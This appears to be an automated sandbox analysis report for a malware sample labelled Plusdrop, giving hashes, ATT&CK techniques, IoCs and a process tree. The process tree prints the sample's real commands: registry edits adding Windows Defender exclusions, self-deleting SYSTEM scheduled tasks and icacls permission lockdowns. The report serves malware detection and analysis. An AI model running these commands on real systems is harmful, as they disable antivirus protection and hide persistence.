plusdrop | 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7

Analysis

max time kernel
149s
max time network
150s
platform
windows11-21h2_x64
resource
win11-20260130-en
resource tags

arch:x64arch:x86image:win11-20260130-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
29/04/2026, 11:27

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General

Target
V9se0A/37RXs3.exe
Size 135KB
Sample260429-nktcssaz7t
SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
MD5 9ec587911e501b73b7cf09f05d0ae17d
SHA1 5b62403cc9a668c6e5c70ace177fd54fcc4c5936
SHA512 d05468a472373815c46ccb46ec743408365d24982d10d8a23ee0036c28cf3dacd05d74304ef2d4b7118f91ff3f631f676b2e86ddee92a02cf988b0d3c6247847
SSDEEP 3072:MmhXb5pgtiaRENEErO9Uj4OqhhUvB4BNgQaJ:MmjgtiayGErsUKh3To
TLSH
T1D0D38C2776A474F9E1778635C8511A1AE772B8760770CB9F03A442A62F237D19E3EF20
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

apt41 apt backdoor defense_evasion discovery execution plusdrop persistence trojan

Malware Config

Signatures

Family: Plusdrop, toughprogress
Plusdrop is a backdoor used by APT41 in Toughprogress campaign that abuses Google Calendar events as its C2.
backdoor plusdrop

Detects Plusdrop Payload 1 IoCs

backdoor apt apt41

resource	yara_rule
behavioral2/memory/4560-24-0x0000024E389A0000-0x0000024E38A00000-memory.dmp	family_Plusdrop_payload

Windows security bypass 2 TTPs 10 IoCs

defense_evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\V9se0A = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\ProgramData = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86) = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\Documents = "0"	reg.exe

Modifies file permissions 1 TTPs 15 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
2420	icacls.exe
668	icacls.exe
1052	icacls.exe
3188	icacls.exe
2088	icacls.exe
4324	icacls.exe
2184	icacls.exe
1100	icacls.exe
1232	icacls.exe
1876	icacls.exe
5052	icacls.exe
4820	icacls.exe
616	icacls.exe
2508	icacls.exe
240	icacls.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Tencent SecurityHealth = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\V9se0A\\37RXs3.exe\""	37RXs3.exe

Indicator Removal: Clear Persistence 1 TTPs 5 IoCs

Clear artifacts associated with previously established persistence like scheduletasks on a host.

defense_evasion

Clear Persistence

T1070.009

pid	Process
5044	cmd.exe
3992	cmd.exe
5004	cmd.exe
4068	cmd.exe
4452	cmd.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\System32\CodeIntegrity\SiPolicy.p7b	37RXs3.exe

Drops file in Program Files directory 4 IoCs

description	ioc	Process
File created	C:\Program Files (x86)\yvwA2A\XPSPLOG.dll	37RXs3.exe
File created	C:\Program Files (x86)\yvwA2A\image.png	37RXs3.exe
File opened for modification	C:\Program Files (x86)\yvwA2A	37RXs3.exe
File created	C:\Program Files (x86)\yvwA2A\yvwA2A.exe	37RXs3.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
3948	schtasks.exe
424	schtasks.exe
1416	schtasks.exe
2808	schtasks.exe
3628	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4560	37RXs3.exe
4560	37RXs3.exe
4560	37RXs3.exe
4560	37RXs3.exe
4560	37RXs3.exe
4560	37RXs3.exe
4560	37RXs3.exe
4560	37RXs3.exe
4560	37RXs3.exe
4560	37RXs3.exe
4560	37RXs3.exe
4560	37RXs3.exe
4560	37RXs3.exe
4560	37RXs3.exe
4560	37RXs3.exe
4560	37RXs3.exe
4560	37RXs3.exe
4560	37RXs3.exe
4560	37RXs3.exe
4560	37RXs3.exe
4560	37RXs3.exe
4560	37RXs3.exe
4560	37RXs3.exe
4560	37RXs3.exe
4560	37RXs3.exe
4560	37RXs3.exe
4560	37RXs3.exe
4560	37RXs3.exe
4560	37RXs3.exe
4560	37RXs3.exe
4560	37RXs3.exe
4560	37RXs3.exe
4560	37RXs3.exe
4560	37RXs3.exe
4560	37RXs3.exe
4560	37RXs3.exe
4560	37RXs3.exe
4560	37RXs3.exe
4560	37RXs3.exe
4560	37RXs3.exe
4560	37RXs3.exe
4560	37RXs3.exe
4560	37RXs3.exe
4560	37RXs3.exe
4560	37RXs3.exe
4560	37RXs3.exe
4560	37RXs3.exe
4560	37RXs3.exe
4560	37RXs3.exe
4560	37RXs3.exe
4560	37RXs3.exe
4560	37RXs3.exe
4560	37RXs3.exe
4560	37RXs3.exe
4560	37RXs3.exe
4560	37RXs3.exe
4560	37RXs3.exe
4560	37RXs3.exe
4560	37RXs3.exe
4560	37RXs3.exe
4560	37RXs3.exe
4560	37RXs3.exe
4560	37RXs3.exe
4560	37RXs3.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4560	37RXs3.exe

Suspicious use of WriteProcessMemory 63 IoCs

description	pid	Process	procid_target
PID 4560 wrote to memory of 896	4560	37RXs3.exe	15
PID 4560 wrote to memory of 896	4560	37RXs3.exe	15
PID 4560 wrote to memory of 4332	4560	37RXs3.exe	80
PID 4560 wrote to memory of 5044	4560	37RXs3.exe	82
PID 4332 wrote to memory of 1876	4332	cmd.exe	84
PID 5044 wrote to memory of 3948	5044	cmd.exe	85
PID 4560 wrote to memory of 3708	4560	37RXs3.exe	88
PID 5044 wrote to memory of 3400	5044	cmd.exe	90
PID 3708 wrote to memory of 2088	3708	cmd.exe	92
PID 5044 wrote to memory of 1328	5044	cmd.exe	94
PID 4560 wrote to memory of 1144	4560	37RXs3.exe	17
PID 4560 wrote to memory of 1144	4560	37RXs3.exe	17
PID 4560 wrote to memory of 2588	4560	37RXs3.exe	95
PID 2588 wrote to memory of 5052	2588	cmd.exe	97
PID 4560 wrote to memory of 1924	4560	37RXs3.exe	98
PID 4560 wrote to memory of 3992	4560	37RXs3.exe	100
PID 3992 wrote to memory of 424	3992	cmd.exe	102
PID 1924 wrote to memory of 2184	1924	cmd.exe	103
PID 3992 wrote to memory of 1508	3992	cmd.exe	105
PID 4560 wrote to memory of 3700	4560	37RXs3.exe	107
PID 3700 wrote to memory of 4324	3700	cmd.exe	109
PID 3992 wrote to memory of 3848	3992	cmd.exe	110
PID 4560 wrote to memory of 2972	4560	37RXs3.exe	111
PID 2972 wrote to memory of 2508	2972	cmd.exe	113
PID 4560 wrote to memory of 1320	4560	37RXs3.exe	23
PID 4560 wrote to memory of 1320	4560	37RXs3.exe	23
PID 4560 wrote to memory of 1920	4560	37RXs3.exe	114
PID 1920 wrote to memory of 240	1920	cmd.exe	116
PID 3208 wrote to memory of 1904	3208	cmd.exe	118
PID 736 wrote to memory of 752	736	cmd.exe	119
PID 4560 wrote to memory of 396	4560	37RXs3.exe	120
PID 4560 wrote to memory of 5004	4560	37RXs3.exe	121
PID 396 wrote to memory of 2420	396	cmd.exe	124
PID 5004 wrote to memory of 1416	5004	cmd.exe	125
PID 4560 wrote to memory of 4612	4560	37RXs3.exe	126
PID 4612 wrote to memory of 668	4612	cmd.exe	128
PID 5004 wrote to memory of 1900	5004	cmd.exe	129
PID 4560 wrote to memory of 1308	4560	37RXs3.exe	131
PID 4560 wrote to memory of 1460	4560	37RXs3.exe	25
PID 4560 wrote to memory of 1460	4560	37RXs3.exe	25
PID 5004 wrote to memory of 4896	5004	cmd.exe	133
PID 1308 wrote to memory of 4820	1308	cmd.exe	134
PID 4560 wrote to memory of 1672	4560	37RXs3.exe	135
PID 1672 wrote to memory of 1052	1672	cmd.exe	137
PID 4560 wrote to memory of 2596	4560	37RXs3.exe	139
PID 2196 wrote to memory of 2444	2196	cmd.exe	141
PID 2596 wrote to memory of 616	2596	cmd.exe	142
PID 4560 wrote to memory of 4068	4560	37RXs3.exe	143
PID 4560 wrote to memory of 3952	4560	37RXs3.exe	144
PID 3952 wrote to memory of 3188	3952	cmd.exe	147
PID 4068 wrote to memory of 2808	4068	cmd.exe	148
PID 4560 wrote to memory of 5048	4560	37RXs3.exe	149
PID 5048 wrote to memory of 1100	5048	cmd.exe	151
PID 4068 wrote to memory of 5116	4068	cmd.exe	152
PID 4560 wrote to memory of 2984	4560	37RXs3.exe	154
PID 2984 wrote to memory of 1232	2984	cmd.exe	156
PID 4068 wrote to memory of 5064	4068	cmd.exe	157
PID 1896 wrote to memory of 4548	1896	cmd.exe	159
PID 4560 wrote to memory of 4452	4560	37RXs3.exe	160
PID 4452 wrote to memory of 3628	4452	cmd.exe	162
PID 4452 wrote to memory of 4272	4452	cmd.exe	163
PID 4452 wrote to memory of 1444	4452	cmd.exe	166
PID 2116 wrote to memory of 724	2116	cmd.exe	167

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
1⤵
PID:896

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
1⤵
PID:1144
- C:\Windows\system32\cmd.exe
  cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\V9se0A" /t REG_DWORD /d 0 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3208
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\V9se0A" /t REG_DWORD /d 0 /f
    3⤵
    - Windows security bypass
    PID:1904
- C:\Windows\system32\cmd.exe
  cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:736
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
    3⤵
    - Windows security bypass
    PID:752
- C:\Windows\system32\cmd.exe
  cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2196
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
    3⤵
    - Windows security bypass
    PID:2444
- C:\Windows\system32\cmd.exe
  cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1896
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
    3⤵
    - Windows security bypass
    PID:4548
- C:\Windows\system32\cmd.exe
  cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2116
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
    3⤵
    - Windows security bypass
    PID:724

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
1⤵
PID:1320

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
1⤵
PID:1460

C:\Users\Admin\AppData\Local\Temp\V9se0A\37RXs3.exe
"C:\Users\Admin\AppData\Local\Temp\V9se0A\37RXs3.exe"
1⤵
- Adds Run key to start application
- Drops file in System32 directory
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4560
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c icacls "C:\Users\Admin\AppData\Local\Temp\V9se0A" /inheritance:r
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4332
- - C:\Windows\system32\icacls.exe
    icacls "C:\Users\Admin\AppData\Local\Temp\V9se0A" /inheritance:r
    3⤵
    - Modifies file permissions
    PID:1876
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\AppData\Local\Temp\V9se0A\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:5044
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\AppData\Local\Temp\V9se0A\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3948
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:3400
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:1328
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c icacls "C:\Users\Admin\AppData\Local\Temp\V9se0A" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3708
- - C:\Windows\system32\icacls.exe
    icacls "C:\Users\Admin\AppData\Local\Temp\V9se0A" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Modifies file permissions
    PID:2088
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c icacls "C:\Users\Admin\AppData\Local\Temp\V9se0A" /grant:r Users:(OI)(CI)(RX) /deny Users:(OI)(CI)(DC)
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2588
- - C:\Windows\system32\icacls.exe
    icacls "C:\Users\Admin\AppData\Local\Temp\V9se0A" /grant:r Users:(OI)(CI)(RX) /deny Users:(OI)(CI)(DC)
    3⤵
    - Modifies file permissions
    PID:5052
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c icacls "C:\Users\Admin\AppData\Local\Temp\V9se0A\37RXs3.exe" /inheritance:r
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1924
- - C:\Windows\system32\icacls.exe
    icacls "C:\Users\Admin\AppData\Local\Temp\V9se0A\37RXs3.exe" /inheritance:r
    3⤵
    - Modifies file permissions
    PID:2184
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:3992
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:424
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:1508
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:3848
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c icacls "C:\Users\Admin\AppData\Local\Temp\V9se0A\37RXs3.exe" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3700
- - C:\Windows\system32\icacls.exe
    icacls "C:\Users\Admin\AppData\Local\Temp\V9se0A\37RXs3.exe" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Modifies file permissions
    PID:4324
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c icacls "C:\Users\Admin\AppData\Local\Temp\V9se0A\37RXs3.exe" /grant:r Users:(RX) /deny Users:(DE)
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2972
- - C:\Windows\system32\icacls.exe
    icacls "C:\Users\Admin\AppData\Local\Temp\V9se0A\37RXs3.exe" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    - Modifies file permissions
    PID:2508
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c icacls "C:\Users\Admin\AppData\Local\Temp\V9se0A\adoresd.dat" /inheritance:r
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1920
- - C:\Windows\system32\icacls.exe
    icacls "C:\Users\Admin\AppData\Local\Temp\V9se0A\adoresd.dat" /inheritance:r
    3⤵
    - Modifies file permissions
    PID:240
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c icacls "C:\Users\Admin\AppData\Local\Temp\V9se0A\adoresd.dat" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:396
- - C:\Windows\system32\icacls.exe
    icacls "C:\Users\Admin\AppData\Local\Temp\V9se0A\adoresd.dat" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Modifies file permissions
    PID:2420
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:5004
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:1416
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:1900
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:4896
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c icacls "C:\Users\Admin\AppData\Local\Temp\V9se0A\adoresd.dat" /grant:r Users:(RX) /deny Users:(DE)
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4612
- - C:\Windows\system32\icacls.exe
    icacls "C:\Users\Admin\AppData\Local\Temp\V9se0A\adoresd.dat" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    - Modifies file permissions
    PID:668
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c icacls "C:\Users\Admin\AppData\Local\Temp\V9se0A\msadox.tb" /inheritance:r
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1308
- - C:\Windows\system32\icacls.exe
    icacls "C:\Users\Admin\AppData\Local\Temp\V9se0A\msadox.tb" /inheritance:r
    3⤵
    - Modifies file permissions
    PID:4820
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c icacls "C:\Users\Admin\AppData\Local\Temp\V9se0A\msadox.tb" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1672
- - C:\Windows\system32\icacls.exe
    icacls "C:\Users\Admin\AppData\Local\Temp\V9se0A\msadox.tb" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Modifies file permissions
    PID:1052
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c icacls "C:\Users\Admin\AppData\Local\Temp\V9se0A\msadox.tb" /grant:r Users:(RX) /deny Users:(DE)
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2596
- - C:\Windows\system32\icacls.exe
    icacls "C:\Users\Admin\AppData\Local\Temp\V9se0A\msadox.tb" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    - Modifies file permissions
    PID:616
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:4068
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2808
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:5116
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:5064
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c icacls "C:\Users\Admin\AppData\Local\Temp\V9se0A\UxEnhance64.dll" /inheritance:r
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3952
- - C:\Windows\system32\icacls.exe
    icacls "C:\Users\Admin\AppData\Local\Temp\V9se0A\UxEnhance64.dll" /inheritance:r
    3⤵
    - Modifies file permissions
    PID:3188
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c icacls "C:\Users\Admin\AppData\Local\Temp\V9se0A\UxEnhance64.dll" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5048
- - C:\Windows\system32\icacls.exe
    icacls "C:\Users\Admin\AppData\Local\Temp\V9se0A\UxEnhance64.dll" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Modifies file permissions
    PID:1100
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c icacls "C:\Users\Admin\AppData\Local\Temp\V9se0A\UxEnhance64.dll" /grant:r Users:(RX) /deny Users:(DE)
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2984
- - C:\Windows\system32\icacls.exe
    icacls "C:\Users\Admin\AppData\Local\Temp\V9se0A\UxEnhance64.dll" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    - Modifies file permissions
    PID:1232
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:4452
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3628
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:4272
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:1444

C:\Windows\system32\cmd.exe
cmd.exe
1⤵
PID:4796

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

File and Directory Permissions Modification

T1222

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

Clear Persistence

T1070.009

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/896-31-0x00000243BB350000-0x00000243BB3A1000-memory.dmp

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memory/4560-33-0x0000024E37C70000-0x0000024E3850F000-memory.dmp

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memory/4560-40-0x0000024E37C70000-0x0000024E3850F000-memory.dmp

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memory/4560-6-0x00007FFBC9D80000-0x00007FFBCA297000-memory.dmp

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memory/4560-7-0x0000024E37C70000-0x0000024E3850F000-memory.dmp

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memory/4560-11-0x0000024E37C70000-0x0000024E3850F000-memory.dmp

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memory/4560-10-0x00007FFBE9280000-0x00007FFBE9282000-memory.dmp

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memory/4560-15-0x0000024E37C70000-0x0000024E3850F000-memory.dmp

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memory/4560-16-0x0000024E37C70000-0x0000024E3850F000-memory.dmp

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memory/4560-18-0x0000024E37C70000-0x0000024E3850F000-memory.dmp

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memory/4560-19-0x0000024E37C70000-0x0000024E3850F000-memory.dmp

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memory/4560-17-0x0000024E37C70000-0x0000024E3850F000-memory.dmp

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memory/4560-28-0x0000024E38AB0000-0x0000024E38B56000-memory.dmp

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memory/4560-1-0x00007FFBE9270000-0x00007FFBE9272000-memory.dmp

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memory/4560-0-0x00007FFBC9DA1000-0x00007FFBC9F7F000-memory.dmp

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memory/4560-5-0x00007FFBC9D80000-0x00007FFBCA297000-memory.dmp

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memory/4560-25-0x0000024E38AB0000-0x0000024E38B56000-memory.dmp

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memory/4560-27-0x0000024E38AB0000-0x0000024E38B56000-memory.dmp

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memory/4560-24-0x0000024E389A0000-0x0000024E38A00000-memory.dmp

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memory/4560-39-0x00007FFBC9DA1000-0x00007FFBC9F7F000-memory.dmp

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memory/4560-26-0x0000024E38AB0000-0x0000024E38B56000-memory.dmp

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memory/4560-41-0x0000024E37C70000-0x0000024E3850F000-memory.dmp

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memory/4560-44-0x0000024E38510000-0x0000024E385FA000-memory.dmp

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memory/4560-45-0x0000024E38CD0000-0x0000024E38CDC000-memory.dmp

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memory/4560-59-0x0000024E37C70000-0x0000024E3850F000-memory.dmp

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memory/4560-61-0x00007FFBE9270000-0x00007FFBE9272000-memory.dmp

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memory/4560-62-0x0000024E38510000-0x0000024E385FA000-memory.dmp

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memory/4560-63-0x0000024E38CD0000-0x0000024E38CDC000-memory.dmp

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memory/4560-64-0x00007FFBC9D80000-0x00007FFBCA297000-memory.dmp

